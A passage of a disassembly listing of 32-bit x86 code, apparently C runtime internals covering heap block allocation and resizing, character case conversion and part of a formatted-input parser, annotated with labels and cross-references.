mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41A1C0
; ---------------------------------------------------------------------------
loc_41A1BD: ; CODE XREF: sub_419FAD+1D6j
; sub_419FAD+203j
mov ebx, [ebp+arg_0]
loc_41A1C0: ; CODE XREF: sub_419FAD+1B0j
; sub_419FAD+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41A270
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41A261
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41A232
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41A220
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41A220: ; CODE XREF: sub_419FAD+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41A261
; ---------------------------------------------------------------------------
loc_41A232: ; CODE XREF: sub_419FAD+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41A24B
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41A24B: ; CODE XREF: sub_419FAD+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41A261: ; CODE XREF: sub_419FAD+24Ej
; sub_419FAD+283j
mov ecx, [ebp+var_8]
loc_41A264: ; CODE XREF: sub_419FAD+1A4j
test ecx, ecx
jz short loc_41A273
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41A273
; ---------------------------------------------------------------------------
loc_41A270: ; CODE XREF: sub_419FAD+229j
mov ecx, [ebp+var_8]
loc_41A273: ; CODE XREF: sub_419FAD+2B9j
; sub_419FAD+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41A2A9
cmp ebx, dword_516EB4
jnz short loc_41A2A9
mov ecx, [ebp+var_4]
cmp ecx, dword_516EAC
jnz short loc_41A2A9
and dword_516EB4, 0
loc_41A2A9: ; CODE XREF: sub_419FAD+2E0j
; sub_419FAD+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41A2B1: ; CODE XREF: sub_419FAD+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_419FAD endp
; =============== S U B R O U T I N E =======================================
sub_41A2B6 proc near ; CODE XREF: sub_419FAD+CCp
mov eax, dword_516EB8
mov ecx, dword_516EA8
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41A2F9
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_516EBC
push edi
push dword_516EC0
nop
call near ptr 7C9179FDh
cmp eax, edi
jz short loc_41A349
add dword_516EA8, 10h
mov dword_516EBC, eax
mov eax, dword_516EB8
loc_41A2F9: ; CODE XREF: sub_41A2B6+11j
mov ecx, dword_516EBC
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_516EC0
lea esi, [ecx+eax*4]
nop
call near ptr 7C9105D4h
cmp eax, edi
mov [esi+10h], eax
jz short loc_41A349
push 4
push 2000h
push 100000h
push edi
nop
call near ptr 7C809A51h
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41A34D
push dword ptr [esi+10h]
push edi
push dword_516EC0
nop
call near ptr 7C91043Dh
loc_41A349: ; CODE XREF: sub_41A2B6+30j
; sub_41A2B6+67j
xor eax, eax
jmp short loc_41A364
; ---------------------------------------------------------------------------
loc_41A34D: ; CODE XREF: sub_41A2B6+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_516EB8
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41A364: ; CODE XREF: sub_41A2B6+95j
pop edi
pop esi
retn
sub_41A2B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A367 proc near ; CODE XREF: sub_419FAD+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41A379: ; CODE XREF: sub_41A367+19j
test eax, eax
jl short loc_41A382
shl eax, 1
inc ebx
jmp short loc_41A379
; ---------------------------------------------------------------------------
loc_41A382: ; CODE XREF: sub_41A367+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41A397: ; CODE XREF: sub_41A367+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41A397
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
nop
call near ptr 7C809A51h
test eax, eax
jnz short loc_41A3CA
or eax, 0FFFFFFFFh
jmp loc_41A45D
; ---------------------------------------------------------------------------
loc_41A3CA: ; CODE XREF: sub_41A367+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41A410
lea eax, [edi+10h]
loc_41A3D7: ; CODE XREF: sub_41A367+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41A3D7
loc_41A410: ; CODE XREF: sub_41A367+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41A44D
or [eax+4], edi
loc_41A44D: ; CODE XREF: sub_41A367+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41A45D: ; CODE XREF: sub_41A367+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41A367 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A462 proc near ; CODE XREF: sub_418C3F+58p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41A610
test bl, 1
jnz loc_41A609
add ebx, ecx
cmp esi, ebx
jg loc_41A609
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41A4D9
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41A4D9: ; CODE XREF: sub_41A462+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41A529
cmp ecx, 20h
jnb short loc_41A505
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41A529
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41A529
; ---------------------------------------------------------------------------
loc_41A505: ; CODE XREF: sub_41A462+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41A529
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41A529: ; CODE XREF: sub_41A462+7Dj
; sub_41A462+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41A5F7
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41A563
push 3Fh
pop edi
loc_41A563: ; CODE XREF: sub_41A462+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41A5E5
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41A5BC
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41A5AF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41A5AF: ; CODE XREF: sub_41A462+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41A5E1
; ---------------------------------------------------------------------------
loc_41A5BC: ; CODE XREF: sub_41A462+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41A5D2
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41A5D2: ; CODE XREF: sub_41A462+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41A5E1: ; CODE XREF: sub_41A462+158j
shr edx, cl
or [eax], edx
loc_41A5E5: ; CODE XREF: sub_41A462+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41A5FA
; ---------------------------------------------------------------------------
loc_41A5F7: ; CODE XREF: sub_41A462+E5j
mov edx, [ebp+arg_4]
loc_41A5FA: ; CODE XREF: sub_41A462+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41A750
; ---------------------------------------------------------------------------
loc_41A609: ; CODE XREF: sub_41A462+52j
; sub_41A462+5Cj
xor eax, eax
jmp loc_41A753
; ---------------------------------------------------------------------------
loc_41A610: ; CODE XREF: sub_41A462+49j
jge loc_41A750
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41A63B
push 3Fh
pop esi
loc_41A63B: ; CODE XREF: sub_41A462+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41A6CA
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41A654
push 3Fh
pop esi
loc_41A654: ; CODE XREF: sub_41A462+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41A6A3
cmp esi, 20h
jnb short loc_41A67F
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41A6A0
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41A6A0
; ---------------------------------------------------------------------------
loc_41A67F: ; CODE XREF: sub_41A462+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41A6A0
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41A6A0: ; CODE XREF: sub_41A462+214j
; sub_41A462+21Bj ...
mov ebx, [ebp+arg_4]
loc_41A6A3: ; CODE XREF: sub_41A462+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41A6CA
push 3Fh
pop esi
loc_41A6CA: ; CODE XREF: sub_41A462+1DDj
; sub_41A462+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41A747
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41A71E
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41A711
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41A711: ; CODE XREF: sub_41A462+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41A743
; ---------------------------------------------------------------------------
loc_41A71E: ; CODE XREF: sub_41A462+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41A734
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41A734: ; CODE XREF: sub_41A462+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41A743: ; CODE XREF: sub_41A462+2BAj
shr edx, cl
or [eax], edx
loc_41A747: ; CODE XREF: sub_41A462+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41A750: ; CODE XREF: sub_41A462+1A2j
; sub_41A462:loc_41A610j
push 1
pop eax
loc_41A753: ; CODE XREF: sub_41A462+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41A462 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A758 proc near ; CODE XREF: sub_417DAD+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_5158EC, 0
push ebx
jnz short loc_41A783
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_41A821
cmp eax, 7Ah
jg loc_41A821
sub eax, 20h
jmp loc_41A821
; ---------------------------------------------------------------------------
loc_41A783: ; CODE XREF: sub_41A758+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_41A7B6
cmp dword_43B7AC, 1
jle short loc_41A7A3
push 2
push ebx
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41A7AE
; ---------------------------------------------------------------------------
loc_41A7A3: ; CODE XREF: sub_41A758+3Dj
mov eax, off_43B5A0
mov al, [eax+ebx*2]
and eax, 2
loc_41A7AE: ; CODE XREF: sub_41A758+49j
test eax, eax
jnz short loc_41A7B6
loc_41A7B2: ; CODE XREF: sub_41A758+AFj
mov eax, ebx
jmp short loc_41A821
; ---------------------------------------------------------------------------
loc_41A7B6: ; CODE XREF: sub_41A758+34j
; sub_41A758+58j
mov edx, off_43B5A0
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41A7D9
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_41A7E2
; ---------------------------------------------------------------------------
loc_41A7D9: ; CODE XREF: sub_41A758+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_41A7E2: ; CODE XREF: sub_41A758+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_5158EC
call sub_41BC2B
add esp, 20h
test eax, eax
jz short loc_41A7B2
cmp eax, 1
jnz short loc_41A814
movzx eax, [ebp+var_4]
jmp short loc_41A821
; ---------------------------------------------------------------------------
loc_41A814: ; CODE XREF: sub_41A758+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41A821: ; CODE XREF: sub_41A758+14j
; sub_41A758+1Dj ...
pop ebx
leave
retn
sub_41A758 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A824 proc near ; CODE XREF: sub_417FCC+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_41B22A
mov edi, [ebp+arg_0]
jmp short loc_41A853
; ---------------------------------------------------------------------------
loc_41A84E: ; CODE XREF: sub_41A824+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_41A853: ; CODE XREF: sub_41A824+28j
cmp dword_43B7AC, 1
jle short loc_41A86B
movzx eax, al
push 8
push eax
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41A87A
; ---------------------------------------------------------------------------
loc_41A86B: ; CODE XREF: sub_41A824+36j
mov ecx, off_43B5A0
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_41A87A: ; CODE XREF: sub_41A824+45j
cmp eax, ebx
jz short loc_41A8B4
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41B2B1
pop ecx
pop ecx
push eax
call sub_41B29A
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DC3D
add esp, 0Ch
loc_41A8A2: ; CODE XREF: sub_41A824+8Ej
test eax, eax
jz short loc_41A8B4
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DC3D
pop ecx
jmp short loc_41A8A2
; ---------------------------------------------------------------------------
loc_41A8B4: ; CODE XREF: sub_41A824+58j
; sub_41A824+80j
cmp byte ptr [esi], 25h
jnz loc_41B196
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_41A8EB: ; CODE XREF: sub_41A824+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43B7AC, 1
jle short loc_41A908
movzx eax, bl
push 4
push eax
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41A917
; ---------------------------------------------------------------------------
loc_41A908: ; CODE XREF: sub_41A824+D3j
mov ecx, off_43B5A0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41A917: ; CODE XREF: sub_41A824+E2j
test eax, eax
jz short loc_41A92D
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_41A992
; ---------------------------------------------------------------------------
loc_41A92D: ; CODE XREF: sub_41A824+F5j
cmp ebx, 4Eh
jg short loc_41A970
jz short loc_41A992
cmp ebx, 2Ah
jz short loc_41A96B
cmp ebx, 46h
jz short loc_41A992
cmp ebx, 49h
jz short loc_41A94D
cmp ebx, 4Ch
jnz short loc_41A97F
inc [ebp+var_D]
jmp short loc_41A992
; ---------------------------------------------------------------------------
loc_41A94D: ; CODE XREF: sub_41A824+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_41A97F
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_41A97F
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_41A992
; ---------------------------------------------------------------------------
loc_41A96B: ; CODE XREF: sub_41A824+113j
inc [ebp+var_E]
jmp short loc_41A992
; ---------------------------------------------------------------------------
loc_41A970: ; CODE XREF: sub_41A824+10Cj
cmp ebx, 68h
jz short loc_41A98C
cmp ebx, 6Ch
jz short loc_41A984
cmp ebx, 77h
jz short loc_41A987
loc_41A97F: ; CODE XREF: sub_41A824+122j
; sub_41A824+12Dj ...
inc [ebp+var_F]
jmp short loc_41A992
; ---------------------------------------------------------------------------
loc_41A984: ; CODE XREF: sub_41A824+154j
inc [ebp+var_D]
loc_41A987: ; CODE XREF: sub_41A824+159j
inc [ebp+var_5]
jmp short loc_41A992
; ---------------------------------------------------------------------------
loc_41A98C: ; CODE XREF: sub_41A824+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_41A992: ; CODE XREF: sub_41A824+107j
; sub_41A824+10Ej ...
cmp [ebp+var_F], 0
jz loc_41A8EB
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_41A9B7
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_41A9B7: ; CODE XREF: sub_41A824+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_41A9D5
mov al, [esi]
cmp al, 53h
jz short loc_41A9D1
cmp al, 43h
jz short loc_41A9D1
or [ebp+var_5], 0FFh
jmp short loc_41A9D5
; ---------------------------------------------------------------------------
loc_41A9D1: ; CODE XREF: sub_41A824+1A1j
; sub_41A824+1A5j
mov [ebp+var_5], 1
loc_41A9D5: ; CODE XREF: sub_41A824+19Bj
; sub_41A824+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_41AA0E
cmp esi, 63h
jz short loc_41A9FF
cmp esi, 7Bh
jz short loc_41A9FF
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41B2B1
pop ecx
jmp short loc_41AA0A
; ---------------------------------------------------------------------------
loc_41A9FF: ; CODE XREF: sub_41A824+1C5j
; sub_41A824+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41B280
loc_41AA0A: ; CODE XREF: sub_41A824+1D9j
pop ecx
mov [ebp+var_14], eax
loc_41AA0E: ; CODE XREF: sub_41A824+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_41AA1E
cmp [ebp+var_C], eax
jz loc_41B1FA
loc_41AA1E: ; CODE XREF: sub_41A824+1EFj
cmp esi, 6Fh
jg loc_41AC85
jz loc_41AF37
cmp esi, 63h
jz loc_41AC62
cmp esi, 64h
jz loc_41AF37
jle loc_41ACAF
cmp esi, 67h
jle short loc_41AA82
cmp esi, 69h
jz short loc_41AA6A
cmp esi, 6Eh
jnz loc_41ACAF
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_41B165
jmp loc_41B18B
; ---------------------------------------------------------------------------
loc_41AA6A: ; CODE XREF: sub_41A824+229j
push 64h
pop esi
loc_41AA6D: ; CODE XREF: sub_41A824+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_41ACF7
mov [ebp+var_17], 1
jmp loc_41ACFC
; ---------------------------------------------------------------------------
loc_41AA82: ; CODE XREF: sub_41A824+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_41AA9E
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_41AAA3
; ---------------------------------------------------------------------------
loc_41AA9E: ; CODE XREF: sub_41A824+26Aj
cmp ebx, 2Bh
jnz short loc_41AABA
loc_41AAA3: ; CODE XREF: sub_41A824+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_41B280
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41AABD
; ---------------------------------------------------------------------------
loc_41AABA: ; CODE XREF: sub_41A824+27Dj
mov edi, [ebp+arg_0]
loc_41AABD: ; CODE XREF: sub_41A824+294j
cmp [ebp+var_20], 0
jz short loc_41AACC
cmp [ebp+var_C], 15Dh
jle short loc_41AAD3
loc_41AACC: ; CODE XREF: sub_41A824+29Dj
mov [ebp+var_C], 15Dh
loc_41AAD3: ; CODE XREF: sub_41A824+2A6j
; sub_41A824+2F2j
cmp dword_43B7AC, 1
jle short loc_41AAE8
push 4
push ebx
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41AAF3
; ---------------------------------------------------------------------------
loc_41AAE8: ; CODE XREF: sub_41A824+2B6j
mov eax, off_43B5A0
mov al, [eax+ebx*2]
and eax, 4
loc_41AAF3: ; CODE XREF: sub_41A824+2C2j
test eax, eax
jz short loc_41AB18
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41AB18
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41B280
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41AAD3
; ---------------------------------------------------------------------------
loc_41AB18: ; CODE XREF: sub_41A824+2D1j
; sub_41A824+2DBj
cmp byte_43B7B0, bl
jnz short loc_41AB86
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41AB86
inc [ebp+var_4]
push edi
call sub_41B280
mov ebx, eax
mov al, byte_43B7B0
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_41AB41: ; CODE XREF: sub_41A824+360j
cmp dword_43B7AC, 1
jle short loc_41AB56
push 4
push ebx
call sub_419B4D
pop ecx
pop ecx
jmp short loc_41AB61
; ---------------------------------------------------------------------------
loc_41AB56: ; CODE XREF: sub_41A824+324j
mov eax, off_43B5A0
mov al, [eax+ebx*2]
and eax, 4
loc_41AB61: ; CODE XREF: sub_41A824+330j
test eax, eax
jz short loc_41AB86
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41AB86
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41B280
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_41AB41
; ---------------------------------------------------------------------------
loc_41AB86: ; CODE XREF: sub_41A824+2FAj
; sub_41A824+304j ...
cmp [ebp+var_1C], 0
jz loc_41AC1E
cmp ebx, 65h
jz short loc_41AB9E
cmp ebx, 45h
jnz loc_41AC1E
loc_41AB9E: ; CODE XREF: sub_41A824+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_41AC1E
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_41B280
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_41ABC5
mov [esi], al
inc esi
jmp short loc_41ABCA
; ---------------------------------------------------------------------------
loc_41ABC5: ; CODE XREF: sub_41A824+39Aj
cmp ebx, 2Bh
jnz short loc_41ABE8
loc_41ABCA: ; CODE XREF: sub_41A824+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_41ABD9
and [ebp+var_C], eax
jmp short loc_41ABE8
; ---------------------------------------------------------------------------
loc_41ABD9: ; CODE XREF: sub_41A824+3AEj
; sub_41A824+3F8j
inc [ebp+var_4]
push edi
call sub_41B280
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_41ABE8: ; CODE XREF: sub_41A824+3A4j
; sub_41A824+3B3j
cmp dword_43B7AC, 1
jle short loc_41ABFD
push 4
push ebx
call sub_419B4D
